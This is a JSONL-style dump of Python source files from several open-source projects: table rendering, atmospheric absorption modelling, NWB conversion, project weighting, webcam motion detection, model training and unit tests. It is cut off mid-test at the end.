\"\"\"\n self._check_for_unknown_columns(row)\n\n hidden = self.hidden\n any_unhidden = False\n if can_unhide:\n for c in row:\n val = row[c]\n if hidden[c] == \"if_missing\" and not isinstance(val, Nothing):\n lgr.debug(\"Unhiding column %r after encountering %r\",\n c, val)\n hidden[c] = False\n any_unhidden = True\n if any_unhidden:\n self._reset_width_info()\n\n group = self._proc_group(style, adopt=adopt)\n if group == \"override\":\n # Override the \"default\" processor key.\n proc_keys = [\"width\", \"override\"]\n else:\n # Use the set of processors defined by _setup_fields.\n proc_keys = None\n\n adjusted = self._set_widths(row, group)\n cols = self.visible_columns\n proc_fields = ((self.fields[c], row[c]) for c in cols)\n # Exclude fields that weren't able to claim any width to avoid\n # surrounding empty values with separators.\n proc_fields = filter(lambda x: x[0].width > 0, proc_fields)\n proc_fields = (fld(val, keys=proc_keys) for fld, val in proc_fields)\n return self.style[\"separator_\"].join(proc_fields) + \"\\n\", adjusted\n\n\nclass RedoContent(Exception):\n \"\"\"The rendered content is stale and should be re-rendered.\n \"\"\"\n pass\n\n\nclass ContentError(Exception):\n \"\"\"An error occurred when generating the content representation.\n \"\"\"\n pass\n\n\nContentRow = namedtuple(\"ContentRow\", [\"row\", \"kwds\"])\n\n\nclass Content(object):\n \"\"\"Concatenation of rendered fields.\n\n Parameters\n ----------\n fields : StyleField instance\n \"\"\"\n\n def __init__(self, fields):\n self.fields = fields\n self.summary = None\n\n self.columns = None\n self.ids = None\n\n self._header = None\n self._rows = []\n self._idkey_to_idx = {}\n self._idx_to_idkey = {}\n\n def init_columns(self, columns, ids, table_width=None):\n \"\"\"Set up the fields for `columns`.\n\n Parameters\n ----------\n columns : sequence or OrderedDict\n Names of the column. In the case of an OrderedDict, a map between\n short and long names.\n ids : sequence\n A collection of column names that uniquely identify a column.\n table_width : int, optional\n Update the table width to this value.\n \"\"\"\n self.fields.build(columns, table_width=table_width)\n self.columns = columns\n self.ids = ids\n\n if self._rows:\n # There are pre-existing rows, so this init_columns() call was due\n # to encountering unknown columns. Fill in the previous rows.\n style = self.fields.style\n for row in self._rows:\n for col in columns:\n if col not in row.row:\n cstyle = style[col]\n if \"missing\" in cstyle:\n missing = Nothing(cstyle[\"missing\"])\n else:\n missing = NOTHING\n row.row[col] = missing\n if self.fields.has_header:\n self._add_header()\n\n def __len__(self):\n return len(list(self.rows))\n\n def __bool__(self):\n return bool(self._rows)\n\n def __getitem__(self, key):\n idx = self._idkey_to_idx[key]\n return self._rows[idx].row\n\n @property\n def rows(self):\n \"\"\"Data and summary rows.\n \"\"\"\n if self._header:\n yield self._header\n for i in self._rows:\n yield i\n\n def _render(self, rows):\n adjusted = []\n for row, kwds in rows:\n line, adj = self.fields.render(row, **kwds)\n yield line\n # Continue processing so that we get all the adjustments out of\n # the way.\n adjusted.append(adj)\n if any(adjusted):\n raise RedoContent\n\n def __str__(self):\n for redo in range(3):\n try:\n return \"\".join(self._render(self.rows))\n except RedoContent:\n # FIXME: Only one additional _render() call is supposed to\n # be necessary, but as f34696a7 (Detect changes in the\n # terminal width, 2020-08-17), it's not sufficient in some\n # cases (see gh-114). Until that is figured out, allow one\n # more (i.e., three in total), which appears to get rid of\n # the issue.\n if redo:\n if redo == 1:\n lgr.debug(\"One redo was not enough. Trying again\")\n else:\n raise\n\n def get_idkey(self, idx):\n \"\"\"Return ID keys for a row.\n\n Parameters\n ----------\n idx : int\n Index of row (determined by order it came in to `update`).\n\n Returns\n -------\n ID key (tuple) matching row. If there is a header, None is return as\n its ID key.\n\n Raises\n ------\n IndexError if `idx` does not match known row.\n \"\"\"\n if self._header:\n idx -= 1\n if idx == -1:\n return None\n try:\n return self._idx_to_idkey[idx]\n except KeyError:\n msg = (\"Index {!r} outside of current range: [0, {})\"\n .format(idx, len(self._idkey_to_idx)))\n raise IndexError(msg) from None\n\n def update(self, row, style):\n \"\"\"Modify the content.\n\n Parameters\n ----------\n row : dict\n A normalized row. If the names specified by `self.ids` have\n already been seen in a previous call, the entry for the previous\n row is updated. Otherwise, a new entry is appended.\n\n style :\n Passed to `StyleFields.render`.\n\n Returns\n -------\n A tuple of (content, status), where status is 'append', an integer, or\n 'repaint'.\n\n * append: the only change in the content is the addition of a line,\n and the returned content will consist of just this line.\n\n * an integer, N: the Nth line of the output needs to be update, and\n the returned content will consist of just this line.\n\n * repaint: all lines need to be updated, and the returned content\n will consist of all the lines.\n \"\"\"\n called_before = bool(self)\n idkey = tuple(row[idx] for idx in self.ids)\n\n if not called_before and self.fields.has_header:\n lgr.debug(\"Registering header\")\n self._add_header()\n self._rows.append(ContentRow(row, kwds={\"style\": style}))\n self._idkey_to_idx[idkey] = 0\n self._idx_to_idkey[0] = idkey\n return str(self), \"append\"\n\n try:\n prev_idx = self._idkey_to_idx[idkey]\n except KeyError:\n prev_idx = None\n except TypeError:\n raise ContentError(\"ID columns must be hashable\")\n\n if prev_idx is not None:\n lgr.debug(\"Updating content for row %r\", idkey)\n row_update = {k: v for k, v in row.items()\n if not isinstance(v, Nothing)}\n self._rows[prev_idx].row.update(row_update)\n self._rows[prev_idx].kwds.update({\"style\": style})\n # Replace the passed-in row since it may not have all the columns.\n row = self._rows[prev_idx][0]\n else:\n lgr.debug(\"Adding row %r to content for first time\", idkey)\n nrows = len(self._rows)\n self._idkey_to_idx[idkey] = nrows\n self._idx_to_idkey[nrows] = idkey\n self._rows.append(ContentRow(row, kwds={\"style\": style}))\n\n line, adjusted = self.fields.render(row, style)\n lgr.log(9, \"Rendered line as %r\", line)\n if called_before and adjusted:\n return str(self), \"repaint\"\n if not adjusted and prev_idx is not None:\n return line, prev_idx + self.fields.has_header\n return line, \"append\"\n\n def _add_header(self):\n if isinstance(self.columns, OrderedDict):\n row = self.columns\n else:\n row = dict(zip(self.columns, self.columns))\n self._header = ContentRow(row,\n kwds={\"style\": self.fields.style[\"header_\"],\n \"can_unhide\": False,\n \"adopt\": False})\n\n\nclass ContentWithSummary(Content):\n \"\"\"Like Content, but append a summary to the return value of `update`.\n \"\"\"\n\n def __init__(self, fields):\n super(ContentWithSummary, self).__init__(fields)\n self.summary = None\n\n def init_columns(self, columns, ids, table_width=None):\n super(ContentWithSummary, self).init_columns(\n columns, ids, table_width=table_width)\n self.summary = Summary(self.fields.style)\n\n def update(self, row, style):\n lgr.log(9, \"Updating with .summary set to %s\", self.summary)\n content, status = super(ContentWithSummary, self).update(row, style)\n if self.summary:\n summ_rows = self.summary.summarize(\n self.fields.visible_columns,\n [r.row for r in self._rows])\n\n def join():\n return \"\".join(self._render(summ_rows))\n\n try:\n summ_content = join()\n except RedoContent:\n # If rendering the summary lines triggered an adjustment, we\n # need to re-render the main content as well.\n return str(self), \"repaint\", join()\n return content, status, summ_content\n return content, status, None\n", "source": "pyout/pyout", "license": "MIT"}
+{"text": "\"\"\"\nAbsorption\n==========\n\n\"\"\"\nfrom abc import ABCMeta, abstractmethod, abstractproperty\nfrom artssat.atmosphere.atmospheric_quantity \\\n import AtmosphericQuantity, extend_dimensions\n\nfrom artssat.arts_object import ArtsObject, arts_property\nfrom artssat.jacobian import JacobianBase\nfrom artssat.retrieval import RetrievalBase, RetrievalQuantity\n\nimport numpy as np\nfrom pyarts.workspace import arts_agenda\nfrom typhon.physics.atmosphere import vmr2relative_humidity, \\\n relative_humidity2vmr\n\n################################################################################\n# Retrieval units\n################################################################################\n\nclass Unit(metaclass = ABCMeta):\n \"\"\"\n Abstract base class for classes representing units used for the calculation\n of Jacobians and retrievals of absorption species.\n \"\"\"\n def __init__():\n pass\n\n @abstractmethod\n def to_arts(self, ws, x):\n pass\n\n @abstractmethod\n def from_arts(self, ws, x):\n pass\n\n @abstractproperty\n def arts_name(self):\n pass\n\n\nclass VMR(Unit):\n \"\"\"\n VMR is the default unit used for absorption species in ARTS. If this unit\n is used value from the state vector are plugged in as they are into\n the ARTS vmr field.\n \"\"\"\n\n def __init__(self):\n pass\n\n def to_arts(self, ws, x):\n \"\"\"\n Does nothing.\n \"\"\"\n return x\n\n def from_arts(self, ws, x):\n \"\"\"\n Does nothing.\n \"\"\"\n return x\n\n @property\n def arts_name(self):\n return \"vmr\"\n\nclass Relative(Unit):\n \"\"\"\n In relative units, the amount of a quantity is specified relative to a\n reference profile or field. \n\n If this unit is used in a Jacobian calculation, then the Jacobian is\n calculated w.r.t. a relative perturbation.\n\n If this unit is used in the retrieval, values in the state vector are\n interpreted as multiplicative perturbations of the reference profile\n or field.\n \"\"\"\n def __init__(self, x_ref):\n self.x_ref = x_ref\n\n def to_arts(self, ws, x):\n return self.x_ref * x\n\n def from_arts(self, ws, y):\n return y / self.x_ref\n\n @property\n def arts_name(self):\n return \"rel\"\n\nclass RelativeHumidity(Unit):\n \"\"\"\n Relative humidity is available only for the retrieval of H2O.\n \"\"\"\n def __init__(self):\n pass\n\n def to_arts(self, ws, rh):\n \"\"\"\n Converts value given in relative humidity units to ARTS vmr units.\n\n Arguments:\n\n ws(:code:`pyarts.workspace.Workspace`): Workspace object\n which contains pressure grid and temperature field required\n for the converstion.\n\n rh(:code:`numpy.ndarray`): Relative humidity values to convert.\n\n Returns:\n\n :code:`numpy.ndarray` containing the converted RH values.\n\n \"\"\"\n p = ws.p_grid.value.reshape(-1, 1, 1)\n t = ws.t_field.value\n vmr = relative_humidity2vmr(rh, p, t)\n return vmr\n\n def from_arts(self, ws, vmr):\n \"\"\"\n Converts a value given in ARTS vmr units back to relative humidity.\n\n Arguments:\n\n ws(:code:`pyarts.workspace.Workspace`): Workspace object\n which contains pressure grid and temperature field required\n for the conversion.\n\n vmr(:code:`numpy.ndarray`): Values in ARTS vmr units to convert\n to relative humidity.\n\n Returns:\n\n :code:`numpy.ndarray` containing the converted RH values.\n\n \"\"\"\n p = ws.p_grid.value.reshape(-1, 1, 1)\n t = ws.t_field.value\n rh = vmr2relative_humidity(vmr, p, t)\n return rh\n\n @property\n def arts_name(self):\n return \"rh\"\n\n################################################################################\n# The Jacobian class\n################################################################################\n\nclass Jacobian(JacobianBase, ArtsObject):\n\n @arts_property(\"Numeric\")\n def perturbation(self):\n return 0.01\n\n def __init__(self, quantity, index):\n\n JacobianBase.__init__(self, quantity, index)\n ArtsObject.__init__(self)\n\n self.unit = VMR()\n self.for_species_tag = 1\n\n def _make_setup_kwargs(self, ws):\n kwargs = self.get_grids(ws)\n kwargs.update({\"species\" : self.quantity.get_tag_string(),\n \"unit\" : self.unit.arts_name,\n \"for_species_tag\" : self.for_species_tag})\n return kwargs\n\n def setup(self, ws):\n kwargs = self._make_setup_kwargs(ws)\n ws.jacobianAddAbsSpecies(**kwargs)\n\nclass Retrieval(RetrievalBase, Jacobian):\n\n def __init__(self, quantity, index):\n super().__init__(quantity, index)\n\n def add(self, ws):\n ws.retrievalAddAbsSpecies(**self._make_setup_kwargs(ws))\n\n\nclass AbsorptionSpecies(AtmosphericQuantity, RetrievalQuantity):\n\n def __init__(self,\n name,\n from_catalog = False,\n cia = None,\n frequency_range = None,\n isotopologues = None,\n model = None,\n on_the_fly = True,\n zeeman = False,\n lineshape = \"no_shape\",\n normalization = \"no_norm\",\n cutoff = -1,\n cutoff_type = \"ByBand\"):\n\n\n AtmosphericQuantity.__init__(self,\n name,\n (0, 0, 0))\n RetrievalQuantity.__init__(self)\n\n self._dimensions = (0, 0, 0)\n\n self._from_catalog = from_catalog\n self._cia = cia\n self._frequency_range = frequency_range\n self._isotopologues = isotopologues\n self._jacobian = None\n self._model = model\n self._on_the_fly = on_the_fly\n self._retrieval = None\n self._zeeman = zeeman\n\n self._lineshape = lineshape\n self._normalization = normalization\n self._cutoff = cutoff\n self._cutoff_type = cutoff_type\n\n\n #\n # Abstract properties\n #\n\n def dimensions(self):\n return self._dimensions\n\n #\n # Properties\n #\n\n @property\n def from_catalog(self):\n return self._from_catalog\n\n @property\n def cia(self):\n return self._cia\n\n @property\n def isotopologues(self):\n return self._isotopologues\n\n @property\n def model(self):\n return self._model\n\n @property\n def frequency_range(self):\n return self._frequency_range\n\n @property\n def on_the_fly(self):\n return self._on_the_fly\n\n @property\n def zeeman(self):\n return self._zeeman\n\n @property\n def lineshape(self):\n return self._lineshape\n\n @property\n def cutoff(self):\n return self._cutoff\n\n @property\n def cutoff_type(self):\n return self._cutoff_type\n\n @property\n def normalization(self):\n return self._normalization\n\n def _get_tag_string(self,\n zeeman = False,\n isotopologue = None,\n model = None,\n frequency_range = None):\n\n ts = self._name\n ts += \"-\"\n\n if zeeman:\n ts += \"Z\"\n ts += \"-\"\n\n if not isotopologue is None:\n ts += isotopologues\n ts += \"-\"\n\n if not model is None:\n ts += model\n ts += \"-\"\n\n if not frequency_range is None:\n ts += frequency_range[0]\n ts += \"-\"\n ts += frequency_range[1]\n return ts\n\n def get_tag_string(self):\n\n tss = []\n\n if self.from_catalog:\n tss += [self._name]\n\n z = self._zeeman\n\n if type(self._isotopologues) is list:\n isotopologues = self._isotopologues\n else:\n isotopologues = [self._isotopologues]\n\n if type(self._model) is list:\n models = self._model\n else:\n models = [self._model]\n\n if type(self._frequency_range) is list:\n frequency_ranges = self._frequency_range\n else:\n frequency_ranges = [self._frequency_range]\n\n\n for i in isotopologues:\n for m in models:\n for fr in frequency_ranges:\n tss += [self._get_tag_string(z, i, m, fr)]\n\n return \",\".join(tss)\n\n #\n # Jacobian & retrieval\n #\n\n @property\n def jacobian_class(self):\n return Jacobian\n\n @property\n def retrieval_class(self):\n return Retrieval\n\n def set_from_x(self, ws, x):\n\n grids = [ws.p_grid.value, ws.lat_grid.value, ws.lon_grid.value]\n grids = [g for g in grids if g.size > 0]\n x = self.transformation.invert(x)\n x = self.retrieval.interpolate_to_grids(x, grids)\n x = x.reshape(ws.vmr_field.value.shape[1:])\n\n unit = self.retrieval.unit\n x = unit.to_arts(ws, x)\n\n if self._wsv_index is None:\n raise Exception(\"Absorber's wsv_index is unknown. This is likely \"\n \"its setup(...) routine has not been called.\")\n\n ws.vmr_field.value[self._wsv_index, :, :, :] = x\n\n #\n # Retrieval\n #\n\n @property\n def retrieved(self):\n return not self._retrieval is None\n\n #\n # Abstract methods\n #\n\n def setup(self, ws, i):\n self._wsv_index = i\n\n def get_data(self, ws, provider, *args, **kwargs):\n\n if not self.retrieved:\n\n dimensions = ws.t_field.shape\n f = provider.__getattribute__(\"get_\" + self.name)\n x = f(*args, **kwargs)\n x = extend_dimensions(x)\n\n if not x.shape == dimensions:\n raise Exception(\"Shape of {0} field is inconsistent with \"\n \"the dimensions of the atmosphere.\"\n .format(self.name))\n\n ws.vmr_field.value[self._wsv_index, :, :, :] = x\n\nclass H2O(AbsorptionSpecies):\n def __init__(self,\n from_catalog = False,\n cia = None,\n frequency_range = None,\n isotopologues = None,\n model = \"PWR98\",\n on_the_fly = True,\n zeeman = False,\n lineshape = \"VP\",\n normalization = \"VVW\",\n cutoff = -1,\n cutoff_type = \"ByBand\"):\n super().__init__(\"H2O\",\n from_catalog = from_catalog,\n cia = cia,\n frequency_range = frequency_range,\n isotopologues = isotopologues,\n model = model,\n on_the_fly = on_the_fly,\n zeeman = zeeman,\n lineshape = lineshape,\n normalization = normalization,\n cutoff = cutoff,\n cutoff_type = cutoff_type)\n\nclass N2(AbsorptionSpecies):\n def __init__(self,\n from_catalog = False,\n cia = None,\n frequency_range = None,\n isotopologues = None,\n model = \"SelfContStandardType\",\n on_the_fly = True,\n zeeman = False,\n lineshape = \"VP\",\n normalization = \"VVH\",\n cutoff = -1,\n cutoff_type = \"ByBand\"):\n super().__init__(\"N2\",\n from_catalog = from_catalog,\n cia = cia,\n frequency_range = frequency_range,\n isotopologues = isotopologues,\n model = model,\n on_the_fly = on_the_fly,\n zeeman = zeeman,\n lineshape = lineshape,\n normalization = normalization,\n cutoff = cutoff,\n cutoff_type = cutoff_type)\n\nclass O2(AbsorptionSpecies):\n def __init__(self,\n from_catalog = False,\n cia = None,\n frequency_range = None,\n isotopologues = None,\n model = \"PWR93\",\n on_the_fly = True,\n zeeman = False,\n lineshape = \"VP\",\n normalization = \"VVW\",\n cutoff = -1,\n cutoff_type = \"ByBand\"):\n super().__init__(\"O2\",\n from_catalog = from_catalog,\n cia = cia,\n frequency_range = frequency_range,\n isotopologues = isotopologues,\n model = model,\n on_the_fly = on_the_fly,\n zeeman = zeeman,\n lineshape = lineshape,\n normalization = normalization,\n cutoff = cutoff,\n cutoff_type = cutoff_type)\n\nclass CloudWater(AbsorptionSpecies):\n def __init__(self,\n from_catalog = False,\n cia = None,\n frequency_range = None,\n isotopologues = None,\n model = \"MPM93\",\n on_the_fly = True,\n zeeman = False,\n lineshape = \"VP\",\n normalization = \"RQ\",\n cutoff = -1,\n cutoff_type = \"ByBand\"):\n super().__init__(\"cloud_water\",\n from_catalog = from_catalog,\n cia = cia,\n frequency_range = frequency_range,\n isotopologues = isotopologues,\n model = model,\n on_the_fly = on_the_fly,\n zeeman = zeeman,\n lineshape = lineshape,\n normalization = normalization,\n cutoff = cutoff,\n cutoff_type = cutoff_type)\n\n def get_tag_string(self):\n\n ts = \"liquidcloud\"\n ts += \"-\"\n\n if self._model:\n ts += self._model\n ts += \"-\"\n\n return ts\n", "source": "simonpf/pARTS", "license": "MIT"}
+{"text": "from nwb_conversion_tools import NWBConverter\nfrom nwb_conversion_tools.json_schema_utils import dict_deep_update\nfrom .labviewdatainterface import LabviewDataInterface\nfrom pathlib import Path\nimport yaml\n\n\nclass JaegerLabviewConverter(NWBConverter):\n data_interface_classes = dict(\n LabviewDataInterface=LabviewDataInterface,\n )\n\n def get_metadata(self):\n \"\"\"Fetch metadata\"\"\"\n # Initialize metadata from yaml file\n metadata_path = Path(__file__).parent.absolute() / 'metafile.yml'\n with open(metadata_path) as f:\n metadata = yaml.safe_load(f)\n\n metadata = dict_deep_update(metadata, self.data_interface_objects['LabviewDataInterface'].get_metadata())\n\n return metadata\n", "source": "ben-dichter-consulting/jaeger-lab-to-nwb", "license": "BSD-3-Clause"}
+{"text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n'''\nCr\u00e9\u00e9 le 9 Nov 2018\n\n@author: SachaWanono\n'''\n\nimport random\nimport copy\nimport sys\nimport os\nsys.path.insert(0, \"/\".join(os.path.dirname(os.path.abspath(__file__)).split(\"/\")[:-2])+\"/\")\nfrom src.constants import Const\nfrom src.project import *\nfrom src.ScoringTools.calculScore import typeUtilUsed\n\n\ndef weight(listProjects):\n \"\"\"\n Fonction qui calcule le poids de chaque projet r\u00e9sidentiel d'une liste et retourne une liste constitu\u00e9e des poids\n\n :param listProjects: (list[Residential]) liste de projets pour lesquels on veut calculer le poids\n :param listWeights: (list[int]) liste des poids que l'on vient de calculer\n \"\"\"\n\n nbProjects = len(listProjects)\n listWeights = []\n\n for i in range(nbProjects):\n # on r\u00e9cup\u00e8re les caract\u00e9ristiques du projet\n rows = listProjects[i].rows\n columns = listProjects[i].columns\n capacity = listProjects[i].capacity\n\n # on calcule le poids et l'ajoute \u00e0 listWeights\n weight = int(abs(capacity**2 + Const.LIMIT_SIZE_WEIGHT/float(rows*columns)))\n listWeights.append(weight)\n\n # ensuite on s'assure qu'aucun poids n'est \u00e9gal\n for i in range(nbProjects):\n equalWeights = []\n\n for j in range(nbProjects):\n if listWeights[i] == listWeights[j]:\n equalWeights.append(j)\n\n for k in range(len(equalWeights)):\n listWeights[equalWeights[k]] += float(k)/float(len(equalWeights))\n\n return listWeights\n\n\ndef weightUtil(listUtil, listProjectIn, maxDist, buildedU, buildedR):\n \"\"\"\n Fonction permettant de calculer le poids de chaque projet utilitaire et qui les renvoie dans une liste\n Cette fonction poss\u00e8de une complexit\u00e9 \u00e9lev\u00e9e, \u00e0 ne pas r\u00e9p\u00e9ter trop de fois\n\n :param listUtil: (list[Utility]) liste de projets pour lesquels on veut calculer le poids\n :param listProjectIn: (list[Project]) liste des projets pr\u00e9sents dans le fichier input\n :param maxDist: (int) distance maximum entre deux projets permettant de compter les points\n :param buildedR: liste des projets r\u00e9sidentiels construits dans la grille\n :param buildedU: liste des projets utilitaires construits dans la grille\n :return listWeights: (list[int]) liste des poids que l'on vient de calculer\n \"\"\"\n\n nbUtils = len(listUtil)\n listWeights = []\n\n for i in range(nbUtils):\n # on r\u00e9cup\u00e8re les caract\u00e9ristiques du projet\n rows = listUtil[i].rows\n columns = listUtil[i].columns\n type = listUtil[i].utilType\n\n # on va calculer un coef d'utilit\u00e9 en fonct\u00b0 de si ce type d'utilitaire est d\u00e9j\u00e0 beaucoup compt\u00e9 dans la grille\n countUsefull = 0\n countUseless = 0\n\n for resid in buildedR:\n if type in typeUtilUsed(listProjectIn, resid, maxDist, buildedU):\n countUseless += 1\n else:\n countUsefull += 1\n\n coef = float(countUsefull)/float(countUsefull + countUseless + 1)\n\n listWeights.append(coef * Const.LIMIT_SIZE_WEIGHT / float(rows * columns))\n\n # ensuite on s'assure qu'aucun poids n'est \u00e9gal\n for i in range(nbUtils):\n equalWeights = []\n\n for j in range(nbUtils):\n if listWeights[i] == listWeights[j]:\n equalWeights.append(j)\n\n for k in range(len(equalWeights)):\n listWeights[equalWeights[k]] += float(k)/float(len(equalWeights))\n\n return listWeights\n\n\ndef selectRandResid(listResid, listWeights):\n \"\"\"\n Fonction permettant de s\u00e9lectionner \"al\u00e9atoirement\" un projet parmis une liste de projets pond\u00e9r\u00e9s\n\n :param listProjects: (list[Residential/Utility]) liste des projets r\u00e9sidentiels du fichier input\n :return listProjects[j]: (Residential/Utility) projet s\u00e9lectionn\u00e9\n \"\"\"\n\n listWeightSort = copy.deepcopy(listWeights)\n listWeightSort.sort()\n\n totalWeight = sum(listWeightSort)\n\n rand = random.random()*totalWeight\n\n i = 0\n sumWeight = 0.0\n while sumWeight < rand and i < len(listWeightSort) - 1:\n sumWeight += float(listWeightSort[i])\n i += 1\n\n j = 0\n while listWeights[j] != listWeightSort[i] and j < len(listWeightSort) - 1:\n j += 1\n\n return listResid[j]\n\n\ndef selectRandUtil(listUtil, listProjectIn, maxDist, buildedU, buildedR):\n \"\"\"\n Fonction permettant de s\u00e9lectionner \"al\u00e9atoirement\" un projet parmis une liste de projets pond\u00e9r\u00e9s\n\n :param listProjects: (list[Utility]) liste des projets utilitaires du fichier input\n :return listProjects[j]: (Utility) projet s\u00e9lectionn\u00e9\n \"\"\"\n\n listWeights = weightUtil(listUtil, listProjectIn, maxDist, buildedU, buildedR)\n listWeightSort = copy.deepcopy(listWeights)\n listWeightSort.sort()\n\n totalWeight = sum(listWeightSort)\n\n rand = random.random()*totalWeight\n\n i = 0\n sumWeight = 0.0\n while sumWeight < rand and i < len(listWeightSort) - 1:\n sumWeight += float(listWeightSort[i])\n i += 1\n\n j = 0\n while listWeights[j] != listWeightSort[i] and j < len(listWeightSort) - 1:\n j += 1\n\n return listUtil[j]", "source": "PierreLeGuen/Polyhash-2018-Google-HashCode-", "license": "MIT"}
+{"text": "from typing import Tuple\nfrom time import sleep\nfrom base64 import b64encode\nimport numpy as np\nimport pygame.camera\nfrom PIL import Image, ImageChops\n\n\nclass Monitor:\n \"\"\"\n Watch for movement using a webcam.\n \"\"\"\n\n def __init__(self, camera_name: str = None, framerate: float = 0.5, movement_threshold: float = 10):\n \"\"\"\n :param camera_name: The expected name of the webcam. If None, defaults to the first camera.\n :param framerate: Seconds per image capture.\n :param movement_threshold: A scalar defining movement. A higher value means that more movement is ignored.\n \"\"\"\n\n # Initialize the camera.\n pygame.camera.init(pygame.camera.get_backends()[0])\n camera_names = pygame.camera.list_cameras()\n if camera_name is None:\n camera_name = camera_names[0]\n else:\n assert camera_name in camera_names, f\"Camera {camera_name} not found\"\n # Get the camera.\n self._camera = pygame.camera.Camera(camera_names[camera_names.index(camera_name)])\n self._framerate: float = framerate\n self._movement_threshold: float = movement_threshold\n \"\"\":field\n If True, there is movement on this frame.\n \"\"\"\n self.movement: bool = False\n \"\"\":field\n The image from this frame encoded as a base64 string.\n \"\"\"\n self.image: str = \"\"\n \"\"\":field\n The camera pixel dimensions.\n \"\"\"\n self.camera_size: Tuple[int, int] = (0, 0)\n\n def run(self) -> None:\n # Turn on the camera.\n self._camera.start()\n done = False\n # Check deltas.\n self.camera_size = self._camera.get_size()\n previous_arr = np.zeros(shape=(self.camera_size[0], self.camera_size[1], 3), dtype=np.uint8)\n try:\n while not done:\n try:\n # Get an image from the camera.\n surface = self._camera.get_image()\n # Convert the surface to a numpy array.\n arr = pygame.surfarray.array3d(surface)\n # Save the image as a string.\n self.image = b64encode(arr).decode(\"utf-8\")\n # Convert the numpy arrays to images, get the difference, and get the mean of the difference.\n q = np.mean(np.array(ImageChops.difference(Image.fromarray(previous_arr), Image.fromarray(arr))))\n self.movement = bool(q > self._movement_threshold)\n # Set the previous frame as this frame.\n previous_arr = arr.copy()\n # Wait.\n sleep(self._framerate)\n except KeyboardInterrupt:\n done = True\n finally:\n self._camera.stop()\n", "source": "subalterngames/baby_monitor", "license": "MIT"}
+{"text": "from flexflow.core import *\nfrom flexflow.keras.datasets import cifar10\nfrom flexflow.torch.model import PyTorchModel\nimport os\nimport numpy as np\n\n#from accuracy import ModelAccuracy\nfrom PIL import Image\n\ndef top_level_task():\n ffconfig = FFConfig()\n alexnetconfig = NetConfig()\n print(alexnetconfig.dataset_path)\n print(\"Python API batchSize(%d) workersPerNodes(%d) numNodes(%d)\" %(ffconfig.batch_size, ffconfig.workers_per_node, ffconfig.num_nodes))\n ffmodel = FFModel(ffconfig)\n \n dims_input = [ffconfig.batch_size, 3, 229, 229]\n input = ffmodel.create_tensor(dims_input, DataType.DT_FLOAT)\n\n output_tensors = PyTorchModel.file_to_ff(\"regnetX32gf.ff\", ffmodel, [input])\n t = ffmodel.softmax(output_tensors[0])\n\n ffoptimizer = SGDOptimizer(ffmodel, 0.01)\n ffmodel.optimizer = ffoptimizer\n ffmodel.compile(loss_type=LossType.LOSS_SPARSE_CATEGORICAL_CROSSENTROPY, metrics=[MetricsType.METRICS_ACCURACY, MetricsType.METRICS_SPARSE_CATEGORICAL_CROSSENTROPY])\n label = ffmodel.label_tensor\n \n num_samples = 10000\n \n (x_train, y_train), (x_test, y_test) = cifar10.load_data(num_samples)\n\n full_input_np = np.zeros((num_samples, 3, 229, 229), dtype=np.float32)\n \n for i in range(0, num_samples):\n image = x_train[i, :, :, :]\n image = image.transpose(1, 2, 0)\n pil_image = Image.fromarray(image)\n pil_image = pil_image.resize((229,229), Image.NEAREST)\n image = np.array(pil_image, dtype=np.float32)\n image = image.transpose(2, 0, 1)\n full_input_np[i, :, :, :] = image\n\n full_input_np /= 255\n \n y_train = y_train.astype('int32')\n full_label_np = y_train\n \n dataloader_input = ffmodel.create_data_loader(input, full_input_np)\n dataloader_label = ffmodel.create_data_loader(label, full_label_np)\n \n num_samples = dataloader_input.num_samples\n assert dataloader_input.num_samples == dataloader_label.num_samples\n\n ffmodel.init_layers()\n\n epochs = ffconfig.epochs\n\n ts_start = ffconfig.get_current_time()\n\n ffmodel.fit(x=dataloader_input, y=dataloader_label, epochs=epochs)\n\n ts_end = ffconfig.get_current_time()\n run_time = 1e-6 * (ts_end - ts_start);\n print(\"epochs %d, ELAPSED TIME = %.4fs, THROUGHPUT = %.2f samples/s\\n\" %(epochs, run_time, num_samples * epochs / run_time));\n # perf_metrics = ffmodel.get_perf_metrics()\n # accuracy = perf_metrics.get_accuracy()\n # if accuracy < ModelAccuracy.CIFAR10_ALEXNET.value:\n # assert 0, 'Check Accuracy'\n\nif __name__ == \"__main__\":\n print(\"regnetX32gf torch\")\n top_level_task()\n", "source": "cmu-catalyst/FlexFlow", "license": "Apache-2.0"}
+{"text": "# -*- coding: utf-8 -*-\n\nfrom zope.component import getSiteManager, getGlobalSiteManager\nfrom zope.component.interfaces import IComponents\n\n\ndef contextualSiteManager():\n return getSiteManager() or getGlobalSiteManager()\n\n\ndef query_registry(name, parent_components=None):\n if parent_components is None:\n parent_components = contextualSiteManager()\n return parent_components.getUtility(IComponents, name)\n", "source": "zopefoundation/grokcore.registries", "license": "ZPL-2.1"}
+{"text": "from numpy.random import randn\r\ndef add_and_sum(x, y):\r\n\tadded = x + y\r\n\tsummed = added.sum(axis=1)\r\n\treturn summed\r\n\r\ndef call_function():\r\n\tx = randn(1000, 1000)\r\n\ty = randn(1000, 1000)\r\n\treturn add_and_sum(x, y)", "source": "VandyChris/PythonForDataAnalysis", "license": "MIT"}
+{"text": "import unittest\n\nfrom force_wfmanager.model.analysis_model import AnalysisModel\n\nfrom surfactant_example.data_view.formulation_data_view import (\n FormulationDataView)\nfrom surfactant_example.data_view.formulation_base_table import (\n FormulationTableRow\n)\n\n\nclass TestFormulationBaseView(unittest.TestCase):\n\n def setUp(self):\n self.base_table_row = FormulationTableRow(\n chemical='parameter_1')\n self.analysis_model = AnalysisModel(\n header=['parameter_1', 'parameter_2',\n 'salt', 'kpi_1'],\n _evaluation_steps=[('A', 1.45, 0.5, 10),\n ('A', 5.11, 1.0, 12),\n ('B', 4.999, 1.1, 17),\n ('B', 4.998, 2.0, 22)]\n )\n self.data_view = FormulationDataView(\n analysis_model=self.analysis_model\n )\n\n def test_base_table_row_variables(self):\n self.assertListEqual(\n ['parameter_1'], self.base_table_row.variables)\n\n self.base_table_row.concentration = 'conc_1'\n self.assertListEqual(\n ['parameter_1', 'conc_1'],\n self.base_table_row.variables)\n\n def test_base_variables(self):\n self.assertEqual([], self.data_view._base_variables)\n\n self.data_view.base_table.table_rows = [\n self.base_table_row,\n FormulationTableRow(chemical='parameter_2')\n ]\n self.assertListEqual(\n ['parameter_1', 'parameter_2'],\n self.data_view._base_variables\n )\n\n def test_base_indices(self):\n self.assertEqual([], self.data_view._base_indices)\n\n self.data_view.base_table.table_rows = [self.base_table_row]\n self.assertEqual([0], self.data_view._base_indices)\n\n self.data_view.base_table.table_rows.append(\n 